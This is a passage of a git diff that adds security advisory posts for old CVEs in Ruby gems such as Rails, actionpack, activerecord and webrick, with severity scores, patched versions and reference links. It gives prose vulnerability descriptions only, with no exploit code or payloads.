+ activities via a modified X-Forwarded-For header. + cvss_v2: 7.5 + patched_versions: + - ">= 1.2.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-3287 + - http://github.com/macournoyer/thin/blob/master/CHANGELOG + - http://github.com/macournoyer/thin/commit/7bd027914c5ffd36bb408ef47dc749de3b6e063a + - https://github.com/advisories/GHSA-j24p-r6wx-r79w + - http://www.openwall.com/lists/oss-security/2009/09/12/1 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2009-4214.md b/advisories/_posts/2017-10-24-CVE-2009-4214.md new file mode 100644 index 00000000..fc93a3c4 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2009-4214.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2009-4214 (rails): Moderate severity XSS vulnerability that affects rails' +comments: false +categories: +- rails +- rails +advisory: + gem: rails + framework: rails + cve: 2009-4214 + ghsa: 9p3v-wf2w-v29c + url: http://weblog.rubyonrails.org/2009/11/30/ruby-on-rails-2-3-5-released + title: Moderate severity XSS vulnerability that affects rails + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in the strip_tags function + in Ruby on Rails before 2.2.s, and 2.3.x before 2.3.5, allows remote + attackers to inject arbitrary web script or HTML via vectors involving + non-printing ASCII characters,related to HTML::Tokenizer and + actionpack/lib/action_controller/vendor/html-scanner/html/node.rb. + cvss_v2: 4.3 + patched_versions: + - "~> 2.2.2" + - ">= 2.3.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-4214 + - http://weblog.rubyonrails.org/2009/11/30/ruby-on-rails-2-3-5-released + - https://groups.google.com/g/rubyonrails-security/c/TU9x8q70wKs + - http://github.com/rails/rails/commit/bfe032858077bb2946abe25e95e485ba6da86bd5 + - https://github.com/advisories/GHSA-9p3v-wf2w-v29c + - http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html + - http://support.apple.com/kb/HT4077 + - http://lists.opensuse.org/opensuse-security-announce/2010-03/msg00004.htm + - http://www.debian.org/security/2011/dsa-2260 + - http://www.debian.org/security/2011/dsa-2301 + - http://www.openwall.com/lists/oss-security/2009/11/27/2 + - http://www.openwall.com/lists/oss-security/2009/12/08/3 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2009-4492.md b/advisories/_posts/2017-10-24-CVE-2009-4492.md new file mode 100644 index 00000000..227afa1b --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2009-4492.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2009-4492 (webrick): WEBrick Improper Input Validation vulnerability' +comments: false +categories: +- webrick +advisory: + gem: webrick + cve: 2009-4492 + ghsa: 6mq2-37j5-w6r6 + url: https://github.com/advisories/GHSA-6mq2-37j5-w6r6 + title: WEBrick Improper Input Validation vulnerability + date: 2017-10-24 + description: |- + WEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel + 248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file + without sanitizing non-printable characters, which might allow remote attackers + to modify a window's title, or possibly execute arbitrary commands or overwrite + files, via an HTTP request containing an escape sequence for a terminal emulator. + cvss_v2: 7.5 + patched_versions: + - ">= 1.4.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2009-4492 + - https://github.com/advisories/GHSA-6mq2-37j5-w6r6 + - http://www.redhat.com/support/errata/RHSA-2011-0908.html + - http://www.redhat.com/support/errata/RHSA-2011-0909.html + - http://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection + - http://www.ush.it/team/ush/hack_httpd_escape/adv.txt + - https://web.archive.org/web/20100113155532/http://www.vupen.com/english/advisories/2010/0089 + - https://web.archive.org/web/20100815010948/http://secunia.com/advisories/37949 + - https://web.archive.org/web/20170402100552/http://securitytracker.com/id?1023429 + - https://web.archive.org/web/20170908140655/http://www.securityfocus.com/archive/1/508830/100/0/threaded + - https://web.archive.org/web/20200228145937/http://www.securityfocus.com/bid/37710 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2010-3933.md b/advisories/_posts/2017-10-24-CVE-2010-3933.md new file mode 100644 index 00000000..aadbcace --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2010-3933.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2010-3933 (activerecord): Security Vulnerability in Nested Attributes + code in Ruby On Rails 2.3.9 and 3.0.0' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2010-3933 + ghsa: gjxw-5w2q-7grf + url: http://weblog.rubyonrails.org/2010/10/15/security-vulnerability-in-nested-attributes-code-in-ruby-on-rails-2-3-9-and-3-0-0 + title: Security Vulnerability in Nested Attributes code in Ruby On Rails 2.3.9 and + 3.0.0 + date: 2017-10-24 + description: |- + Ruby on Rails 2.3.9 and 3.0.0 does not properly handle nested + attributes, which allows remote attackers to modify arbitrary + records by changing the names of parameters for form inputs. + + Patches are available for 2.3 and 3.0 series. + cvss_v2: 6.4 + unaffected_versions: + - "< 2.3.9" + patched_versions: + - "~> 2.3.9" + - ">= 3.0.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2010-3933 + - http://weblog.rubyonrails.org/2010/10/15/security-vulnerability-in-nested-attributes-code-in-ruby-on-rails-2-3-9-and-3-0-0 + - https://github.com/advisories/GHSA-gjxw-5w2q-7grf + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/41930 + - https://web.archive.org/web/20201208053819/http://securitytracker.com/id?1024624 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2010-5312.md b/advisories/_posts/2017-10-24-CVE-2010-5312.md new file mode 100644 index 00000000..3ef5e581 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2010-5312.md @@ -0,0 +1,51 @@ +--- +layout: advisory +title: 'CVE-2010-5312 (jquery-ui-rails): Cross-site Scripting in jquery-ui' +comments: false +categories: +- jquery-ui-rails +advisory: + gem: jquery-ui-rails + cve: 2010-5312 + ghsa: wcm2-9c89-wmfm + url: https://nvd.nist.gov/vuln/detail/CVE-2010-5312 + title: Cross-site Scripting in jquery-ui + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in jquery.ui.dialog.js in + the Dialog widget in jQuery UI before 1.10.0 allows remote attackers + to inject arbitrary web script or HTML via the title option. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 4.0.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2010-5312 + - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/61a8e3f50796118e9f49fbd224b67d4065b40c50 + - http://bugs.jqueryui.com/ticket/6016 + - https://github.com/jquery/jquery-ui/commit/7e9060c109b928769a664dbcc2c17bd21231b6f3 + - https://security.netapp.com/advisory/ntap-20190416-0007 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/98696 + - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f + - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442 + - http://rhn.redhat.com/errata/RHSA-2015-0442.html + - http://rhn.redhat.com/errata/RHSA-2015-1462.html + - http://seclists.org/oss-sec/2014/q4/613 + - http://seclists.org/oss-sec/2014/q4/616 + - http://www.debian.org/security/2015/dsa-3249 + - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc + - https://lists.debian.org/debian-lts-announce/2022/01/msg00014.html + - https://www.drupal.org/sa-core-2022-002 + - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f + - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442 + - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc + - https://lists.fedoraproject.org/archives/list/package-announce + - https://lists.fedoraproject.org/archives/list/package-announce + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/ + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/ + - http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html + - https://web.archive.org/web/20150316023043/http://www.securityfocus.com/bid/71106 + - https://web.archive.org/web/20170316161850/http://www.securitytracker.com/id/1037035 + - https://github.com/advisories/GHSA-wcm2-9c89-wmfm +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-0446.md b/advisories/_posts/2017-10-24-CVE-2011-0446.md new file mode 100644 index 00000000..466631ae --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-0446.md @@ -0,0 +1,38 @@ +--- +layout: advisory +title: 'CVE-2011-0446 (actionview): XSS vulnerabilities in the mail_to helper in rails/actionview' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2011-0446 + ghsa: 75w6-p6mg-vh8j + url: https://groups.google.com/g/rubyonrails-security/c/8CpI7egxX4E/m/SmtqtyOKWzYJ + title: XSS vulnerabilities in the mail_to helper in rails/actionview + date: 2017-10-24 + description: |- + Multiple cross-site scripting (XSS) vulnerabilities in the mail_to + helper in Ruby on Rails before 2.3.11, and 3.x before 3.0.4, when + javascript encoding is used, allow remote attackers to inject + arbitrary web script or HTML via a crafted (1) name or (2) email value. + cvss_v2: 4.3 + patched_versions: + - "~> 2.3.11" + - ">= 3.0.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-0446 + - https://groups.google.com/g/rubyonrails-security/c/8CpI7egxX4E/m/SmtqtyOKWzYJ + - https://github.com/advisories/GHSA-75w6-p6mg-vh8j + - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055074.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055088.html + - http://www.debian.org/security/2011/dsa-2247 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43274 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43666 + - https://web.archive.org/web/20201208053819/http://www.securitytracker.com/id?1025064 + - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/46291 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-0447.md b/advisories/_posts/2017-10-24-CVE-2011-0447.md new file mode 100644 index 00000000..4a9bcb00 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-0447.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2011-0447 (actionpack): CSRF Protection Bypass in Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-0447 + ghsa: 24fg-p96v-hxh8 + url: http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails + title: CSRF Protection Bypass in Ruby on Rails + date: 2017-10-24 + description: |- + Ruby on Rails 2.1.x, 2.2.x, and 2.3.x before 2.3.11, and + 3.x before 3.0.4, does not properly validate HTTP requests that + contain an X-Requested-With header, which makes it easier for + remote attackers to conduct cross-site request forgery (CSRF) + attacks via forged (1) AJAX or (2) API requests that leverage + "combinations of browser plugins and HTTP redirects," + a related issue to CVE-2011-0696. + cvss_v2: 6.8 + unaffected_versions: + - "< 2.1.0" + patched_versions: + - "~> 2.3.11" + - ">= 3.0.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-0447 + - http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails + - https://groups.google.com/g/rubyonrails-security/c/LZWjzCPgNmU/m/HBgNjGahLsIJ + - https://github.com/advisories/GHSA-24fg-p96v-hxh8 + - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055074.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-March/055088.html + - https://bugzilla.redhat.com/show_bug.cgi?id=677631 + - http://www.debian.org/security/2011/dsa-2247 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43274 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43666 + - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/46291 + - https://web.archive.org/web/20201208053819/http://www.securitytracker.com/id?1025060 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-0448.md b/advisories/_posts/2017-10-24-CVE-2011-0448.md new file mode 100644 index 00000000..76599206 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-0448.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2011-0448 (activerecord): Potential SQL Injection with limit in rails/activerecord' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2011-0448 + ghsa: jmm9-2p29-vh2w + url: http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4 + title: Potential SQL Injection with limit in rails/activerecord + date: 2017-10-24 + description: |- + Ruby on Rails 3.0.x before 3.0.4 does not ensure that arguments to + the limit function specify integer values, which makes it easier + for remote attackers to conduct SQL injection attacks via a + non-numeric argument. + cvss_v2: 7.5 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 2.3.11" + - "> 3.0.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-0448 + - http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4 + - https://groups.google.com/g/rubyonrails-security/c/tliQLPa_Tu0/m/rUCt9kyGGU4J + - https://github.com/advisories/GHSA-jmm9-2p29-vh2w + - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43278 + - https://web.archive.org/web/20201208053819/http://securitytracker.com/id?1025063 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-0449.md b/advisories/_posts/2017-10-24-CVE-2011-0449.md new file mode 100644 index 00000000..2a982b0a --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-0449.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2011-0449 (actionpack): Filter Problems on Case-Insensitive Filesystems + in rails/actionpack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-0449 + ghsa: 4ww3-3rxj-8v6q + url: http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4 + title: Filter Problems on Case-Insensitive Filesystems in rails/actionpack + date: 2017-10-24 + description: |- + actionpack/lib/action_view/template/resolver.rb in Ruby on Rails 3.0.x + before 3.0.4, when a case-insensitive filesystem is used, does not + properly implement filters associated with the list of available + templates, which allows remote attackers to bypass intended access + restrictions via an action name that uses an unintended case for + alphabetic characters. + cvss_v2: 7.5 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - ">= 3.0.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-0449 + - http://weblog.rubyonrails.org/2011/2/8/new-releases-2-3-11-and-3-0-4 + - https://github.com/rails/rails/commit/6f80224057803f85b3f448936aae89e742452c3b + - https://groups.google.com/g/rubyonrails-security/c/Ni8fvBdhszY/m/T1vfhC5bNAQJ + - https://github.com/advisories/GHSA-4ww3-3rxj-8v6q + - http://lists.fedoraproject.org/pipermail/package-announce/2011-April/057650.html + - https://bugzilla.redhat.com/show_bug.cgi?id=679351 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/43278 + - https://web.archive.org/web/20201208053819/http://securitytracker.com/id?1025061 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-2197.md b/advisories/_posts/2017-10-24-CVE-2011-2197.md new file mode 100644 index 00000000..fab04625 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-2197.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2011-2197 (activesupport): Potential XSS Vulnerability in Ruby on Rails + Applications' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2011-2197 + ghsa: v9v4-7jp6-8c73 + url: http://weblog.rubyonrails.org/2011/6/8/potential-xss-vulnerability-in-ruby-on-rails-applications + title: Potential XSS Vulnerability in Ruby on Rails Applications + date: 2017-10-24 + description: |- + The cross-site scripting (XSS) prevention feature in Ruby on Rails 2.x + before 2.3.12, 3.0.x before 3.0.8, and 3.1.x before 3.1.0.rc2 does + not properly handle mutation of safe buffers, which makes it easier + for remote attackers to conduct XSS attacks via crafted strings to an + application that uses a problematic string method, as demonstrated + by the sub method. + cvss_v2: 4.3 + patched_versions: + - "~> 2.3.12" + - ">= 3.0.8" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-2197 + - http://weblog.rubyonrails.org/2011/6/8/potential-xss-vulnerability-in-ruby-on-rails-applications + - https://github.com/rails/rails/commit/53a2c0baf2b128dd4808eca313256f6f4bb8c4cd + - https://github.com/rails/rails/commit/ed3796434af6069ced6a641293cf88eef3b284da + - https://groups.google.com/g/rubyonrails-security/c/LlFuesyWxPs/m/1OBxRA1gO2YJ + - https://gist.github.com/NZKoz/b2ceb626fc2bcdfe497f + - https://github.com/advisories/GHSA-v9v4-7jp6-8c73 + - http://lists.fedoraproject.org/pipermail/package-announce/2011-July/062514.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-June/062090.html + - http://openwall.com/lists/oss-security/2011/06/09/2 + - http://openwall.com/lists/oss-security/2011/06/13/9 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-2929.md b/advisories/_posts/2017-10-24-CVE-2011-2929.md new file mode 100644 index 00000000..78e0637e --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-2929.md @@ -0,0 +1,47 @@ +--- +layout: advisory +title: 'CVE-2011-2929 (actionpack): Filter Skipping Vulnerability in Ruby on Rails + 3.0/actionpack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-2929 + ghsa: r7q2-5gqg-6c7q + url: https://rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + title: Filter Skipping Vulnerability in Ruby on Rails 3.0/actionpack + date: 2017-10-24 + description: |- + The template selection functionality in + actionpack/lib/action_view/template/resolver.rb in Ruby on Rails + 3.0.x before 3.0.10 and 3.1.x before 3.1.0.rc6 does not properly + handle glob characters, which allows remote attackers to render + arbitrary views via a crafted URL, related to a + "filter skipping vulnerability." + cvss_v2: 5.0 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 3.0.10" + - "~> 3.1.0.rc6" + - ">= 3.1.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-2929 + - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + - https://github.com/rails/rails/commit/5f94b93279f6d0682fafb237c301302c107a9552 + - https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY/m/Ya9-T266u8sJ + - https://bugzilla.redhat.com/show_bug.cgi?id=731432 + - https://github.com/advisories/GHSA-r7q2-5gqg-6c7q + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065109.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html + - http://www.openwall.com/lists/oss-security/2011/08/17/1 + - http://www.openwall.com/lists/oss-security/2011/08/19/11 + - http://www.openwall.com/lists/oss-security/2011/08/20/1 + - http://www.openwall.com/lists/oss-security/2011/08/22/13 + - http://www.openwall.com/lists/oss-security/2011/08/22/14 + - http://www.openwall.com/lists/oss-security/2011/08/22/5 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-2930.md b/advisories/_posts/2017-10-24-CVE-2011-2930.md new file mode 100644 index 00000000..a1ae0753 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-2930.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2011-2930 (activerecord): SQL Injection Vulnerability in quote_table_name + in rails/activerecord' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2011-2930 + ghsa: h6w6-xmqv-7q78 + url: http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + title: SQL Injection Vulnerability in quote_table_name in rails/activerecord + date: 2017-10-24 + description: |- + Multiple SQL injection vulnerabilities in the + quote_table_name method in the ActiveRecord adapters in + activerecord/lib/active_record/connection_adapters in Ruby on Rails + before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allow + remote attackers to execute arbitrary SQL commands via a crafted column name. + cvss_v2: 7.5 + patched_versions: + - "~> 2.3.13" + - "~> 3.0.10" + - "~> 3.1.0.rc5" + - ">= 3.1.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-2930 + - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + - https://groups.google.com/g/rubyonrails-security/c/ah5HN0S8OJs/m/MN35sDZdqLEJ + - https://github.com/rails/rails/commit/8a39f411dc3c806422785b1f4d5c7c9d58e4bf85 + - https://github.com/advisories/GHSA-h6w6-xmqv-7q78 + - https://bugzilla.redhat.com/show_bug.cgi?id=731438 + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html + - http://www.debian.org/security/2011/dsa-2301 + - http://www.openwall.com/lists/oss-security/2011/08/17/1 + - http://www.openwall.com/lists/oss-security/2011/08/19/11 + - http://www.openwall.com/lists/oss-security/2011/08/20/1 + - http://www.openwall.com/lists/oss-security/2011/08/22/13 + - http://www.openwall.com/lists/oss-security/2011/08/22/14 + - http://www.openwall.com/lists/oss-security/2011/08/22/5 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-2931.md b/advisories/_posts/2017-10-24-CVE-2011-2931.md new file mode 100644 index 00000000..972c89fd --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-2931.md @@ -0,0 +1,48 @@ +--- +layout: advisory +title: 'CVE-2011-2931 (actionpack): XSS Vulnerability in strip_tags helper in rails/actionpack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-2931 + ghsa: v5jg-558j-q67c + url: http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + title: XSS Vulnerability in strip_tags helper in rails/actionpack + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in the strip_tags helper + in actionpack/lib/action_controller/vendor/html-scanner/html/node.rb + in Ruby on Rails before 2.3.13, 3.0.x before 3.0.10, and 3.1.x + before 3.1.0.rc5 allows remote attackers to inject arbitrary web + script or HTML via a tag with an invalid name. + cvss_v2: 4.3 + unaffected_versions: + - "< 2.0.0" + - "< 3.0.0" + patched_versions: + - "~> 2.3.13" + - ">= 3.0.10" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-2931 + - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + - https://groups.google.com/g/rubyonrails-security/c/K5EwdJt06hI + - https://github.com/rails/rails/commit/586a944ddd4d03e66dea1093306147594748037a + - https://bugzilla.redhat.com/show_bug.cgi?id=731436 + - https://github.com/advisories/GHSA-v5jg-558j-q67c + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065109.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065137.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html + - http://www.debian.org/security/2011/dsa-2301 + - http://www.openwall.com/lists/oss-security/2011/08/17/1 + - http://www.openwall.com/lists/oss-security/2011/08/19/11 + - http://www.openwall.com/lists/oss-security/2011/08/20/1 + - http://www.openwall.com/lists/oss-security/2011/08/22/13 + - http://www.openwall.com/lists/oss-security/2011/08/22/14 + - http://www.openwall.com/lists/oss-security/2011/08/22/5 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/45921 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-2932.md b/advisories/_posts/2017-10-24-CVE-2011-2932.md new file mode 100644 index 00000000..ef9f7b08 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-2932.md @@ -0,0 +1,47 @@ +--- +layout: advisory +title: 'CVE-2011-2932 (activesupport): UTF-8 escaping vulnerability in rails/activesupport' +comments: false +categories: +- activesupport +- rails +advisory: + gem: activesupport + framework: rails + cve: 2011-2932 + ghsa: 9fh3-vh3h-q4g3 + url: http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + title: UTF-8 escaping vulnerability in rails/activesupport + date: 2017-10-24 + description: |- + Cross-site scripting (XSS) vulnerability in + activesupport/lib/active_support/core_ext/string/output_safety.rb + in Ruby on Rails 2.x before 2.3.13, 3.0.x before 3.0.10, and + 3.1.x before 3.1.0.rc5 allows remote attackers to inject arbitrary + web script or HTML via a malformed Unicode string, related to + a "UTF-8 escaping vulnerability." + cvss_v2: 4.3 + patched_versions: + - "~> 2.3.13" + - "~> 3.0.10" + - "~> 3.1.0.rc5" + - ">= 3.1.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-2932 + - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6 + - https://groups.google.com/g/rubyonrails-security/c/Vr_7WSOrEZU/m/IZ_bc5d00vEJ + - https://github.com/rails/rails/commit/bfc432574d0b141fd7fe759edfe9b6771dd306bd + - https://bugzilla.redhat.com/show_bug.cgi?id=731435 + - https://github.com/advisories/GHSA-9fh3-vh3h-q4g3 + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065114.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065189.html + - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html + - http://www.openwall.com/lists/oss-security/2011/08/17/1 + - http://www.openwall.com/lists/oss-security/2011/08/19/11 + - http://www.openwall.com/lists/oss-security/2011/08/20/1 + - http://www.openwall.com/lists/oss-security/2011/08/22/13 + - http://www.openwall.com/lists/oss-security/2011/08/22/14 + - http://www.openwall.com/lists/oss-security/2011/08/22/5 + - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/45917 +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-3187.md b/advisories/_posts/2017-10-24-CVE-2011-3187.md new file mode 100644 index 00000000..5b7e5276 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-3187.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2011-3187 (actionpack): Ruby on rails 3.0.5 Remote_IP.rb Input Validation + in rails/actionpack' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-3187 + ghsa: 3vfw-7rcp-3xgm + url: http://webservsec.blogspot.com/2011/02/ruby-on-rails-vulnerability.html + title: Ruby on rails 3.0.5 Remote_IP.rb Input Validation in rails/actionpack + date: 2017-10-24 + description: |- + The to_s method in actionpack/lib/action_dispatch/middleware/remote_ip.rb + in Ruby on Rails 3.0.5 does not validate the X-Forwarded-For header + in requests from IP addresses on a Class C network, which might allow + remote attackers to inject arbitrary text into log files or bypass + intended address parsing via a crafted header. + cvss_v2: 4.3 + unaffected_versions: + - "< 2.3.0" + patched_versions: + - ">= 2.3.13" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-3187 + - http://webservsec.blogspot.com/2011/02/ruby-on-rails-vulnerability.html + - https://github.com/advisories/GHSA-3vfw-7rcp-3xgm + - https://www.rapid7.com/db/vulnerabilities/ruby_on_rails-cve-2011-3187 + - http://www.openwall.com/lists/oss-security/2011/08/17/1 + - http://www.openwall.com/lists/oss-security/2011/08/19/11 + - http://www.openwall.com/lists/oss-security/2011/08/20/1 + - http://www.openwall.com/lists/oss-security/2011/08/22/13 + - http://www.openwall.com/lists/oss-security/2011/08/22/14 + - http://www.openwall.com/lists/oss-security/2011/08/22/5 + - https://web.archive.org/web/20111209181000/http://archives.neohapsis.com/archives/fulldisclosure/2011-02/0337.html +--- diff --git a/advisories/_posts/2017-10-24-CVE-2011-4319.md b/advisories/_posts/2017-10-24-CVE-2011-4319.md new file mode 100644 index 00000000..a0b9b346 --- /dev/null +++ b/advisories/_posts/2017-10-24-CVE-2011-4319.md @@ -0,0 +1,51 @@ +--- +layout: advisory +title: 'CVE-2011-4319 (actionpack): Cross-site Scripting vulnerability in i18n translations + helper method' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2011-4319 + osvdb: 77199 + ghsa: xxr8-833v-c7wc + url: http://weblog.rubyonrails.org/2011/11/18/rails-3-0-11-has-been-released + title: Cross-site Scripting vulnerability in i18n translations helper method + date: 2017-10-24 + description: |- + A cross-site scripting (XSS) flaw was found in the way the 'translate' helper + method of the Ruby on Rails performed HTML escaping of interpolated user + input, when interpolation in combination with HTML-safe translations were + used. A remote attacker could use this flaw to execute arbitrary HTML or web + script by providing a specially-crafted input to Ruby on Rails application, + using the ActionPack module and its 'translate' helper method without explicit + (application specific) sanitization of user provided input. + + Cross-site scripting (XSS) vulnerability in the i18n translations helper + method in Ruby on Rails 3.0.x before 3.0.11 and 3.1.x before 3.1.2, + and the rails_xss plugin in Ruby on Rails 2.3.x, allows remote + attackers to inject arbitrary web script or HTML via vectors related + to a translations string whose name ends with an "html" substring. + cvss_v2: 4.3 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 3.0.11" + - ">= 3.1.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2011-4319 + - http://weblog.rubyonrails.org/2011/11/18/rails-3-0-11-has-been-released + - http://weblog.rubyonrails.org/2011/11/18/rails-3-1-2-has-been-released + - https://groups.google.com/g/rubyonrails-security/c/K2HXD7c8fMU + - https://groups.google.com/g/rubyonrails-security/c/K2HXD7c8fMU/m/gt22xPskXMYJ + - https://github.com/advisories/GHSA-xxr8-833v-c7wc + - 